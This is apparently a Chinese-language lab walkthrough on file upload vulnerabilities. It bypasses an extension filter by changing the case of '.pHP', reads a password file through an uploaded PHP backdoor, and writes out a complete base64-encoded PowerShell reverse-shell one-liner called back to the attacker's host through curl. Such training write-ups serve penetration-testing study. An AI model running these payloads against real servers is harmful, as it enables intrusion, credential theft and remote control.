文件上傳漏洞 (使用可執行文件)
文件上傳漏洞 (使用可執行文件)
涵蓋以下學習目標:
- 了解文件上傳漏洞
- 了解如何識別文件上傳漏洞
- 探索利用文件上傳漏洞的不同途徑
文件上傳漏洞分為三類:
第一類 : 上傳可由 Web 應用程序執行的文件。
例如,如果我們可以將 PHP 腳本上傳到啟用了 PHP 的 Web 服務器,我們就可以通過瀏覽器或 curl 訪問它來執行該腳本。除了 PHP 之外,還可以在其他框架或服務器端腳本語言中利用此類漏洞。
第二類 : 需要將文件上傳機制與另一個漏洞(例如目錄遍歷)結合起來。
例如,如果Web應用程序容易受到目錄遍歷的攻擊,可以在文件上傳請求中使用相對路徑,並嘗試覆蓋 authorized_keys 等文件。此外還可以將文件上傳機制與 XML 外部實體 (XXE) 或跨站點腳本(XSS) 攻擊結合起來。
例如,當被允許將頭像上傳到 SVG 文件類型的配置文件時,可能會嵌入 XXE 攻擊來顯示文件內容甚至執行代碼。
第三類 : 依賴於用戶交互。
例如,當發現求職申請的上傳表單時,則可以嘗試上傳集成了惡意 .docx 格式的 office 文件簡歷 。由於此類別需要有人訪問我們上傳的文件,因此很多靶機上傳後需要等待一段時間才會發作。
如果 Web 站台是 CMS 通常可以上傳文件或是大頭貼若是一般網站有些也會有上傳文件等功能設計,若有上傳功能存在又有漏洞,最簡單的方式就是透過上傳機制來實現程式碼執行並建立反向的 shell 是最好的侵入方式
靶機練習開始
目標某網站特定網頁有支援文件上傳功能相關資訊如下,目標是 C:\xampp\passwords.txt
靶機 : 192.168.203.189
本機 : 192.168.45.250
開啟靶機的網頁如下 http://192.168.203.189/meteor/
先測試上傳一個 test.txt 成功如下圖
上傳一個 simple-backdoor.php 發現有鎖 .php 上傳
所以這時候可以用繞過測試,例如上傳 .phps or .php7
或是將檔名從 .php 變換大小寫為 .pHP 測試看看,發現改大小寫即可成功上傳
另外透過目錄查找測試,發現上傳的檔案位於此路徑下 /meteor/uploads/*
讀取測試一開始上傳的 test.txt 檔案如下 http://192.168.203.189/meteor/uploads/test.txt
立馬來執行測試剛剛上傳的 simple-backdoor.pHP 並帶上指令 dir
PS : 由圖示知道這是 XAMPP 裝在 Windows 上的程式所以用 dir 指令測試
路徑為 http://192.168.203.189/meteor/uploads/simple-backdoor.pHP?cmd=dir
輸出如下圖
透過 curl 測試如下圖
└─$ curl http://192.168.203.189/meteor/uploads/simple-backdoor.pHP?cmd=dir
目標是 C:\xampp\passwords.txt
透過瀏覽器測試看看,發現直接出來了
curl 沒有作用判斷是因為 command line 沒有支援轉碼,所以透過 URL Encode
將 type C:\xampp\passwords.txt Encode 試試看,Encode 後如下
type%20C%3A%5Cxampp%5Cpasswords.txt
從心送出 curl 如下
└─$ curl http://192.168.203.189/meteor/uploads/simple-backdoor.pHP?cmd=type%20C%3A%5Cxampp%5Cpasswords.txt
但這個遠端得到值,其實所有靶機最好的模式還是建立 inter-active shell 去拿值才是最好的
由上面得知這是一個 windows 上面跑 xampp 所以用 PowerShell
在本機建立一個 remote shell listener --> nc -nvlp 4444
然後在 kali 開啟 powershell 編輯器 --> 輸入 pwsh
將整個 one-liner 轉成變數 $Text,如下的 PowerShell one-liner
要連到本機(192.168.45.250)建立的 4444 Port Listen
PS> $Text = '$client = New-Object System.Net.Sockets.TCPClient("192.168.45.250",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
將 $Text 先做 Encoding 轉成 $Bytes
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
再轉 Base64
$EncodedText =[Convert]::ToBase64String($Bytes)
輸出 Encoding Base64 的碼
$EncodedText
輸出結果如下
JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADQANQAuADIANQAwACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==
最後 exit 結束離開 PS
curl 直接去 call 後門網頁執行 PowerShell one-liner 如下(參數是 -enc)
curl http://192.168.203.189/meteor/uploads/simple-backdoor.pHP?cmd=powershell%20-enc%20JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADQANQAuADIANQAwACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==
結果就會如下範例圖可以遠端控制了
留言
張貼留言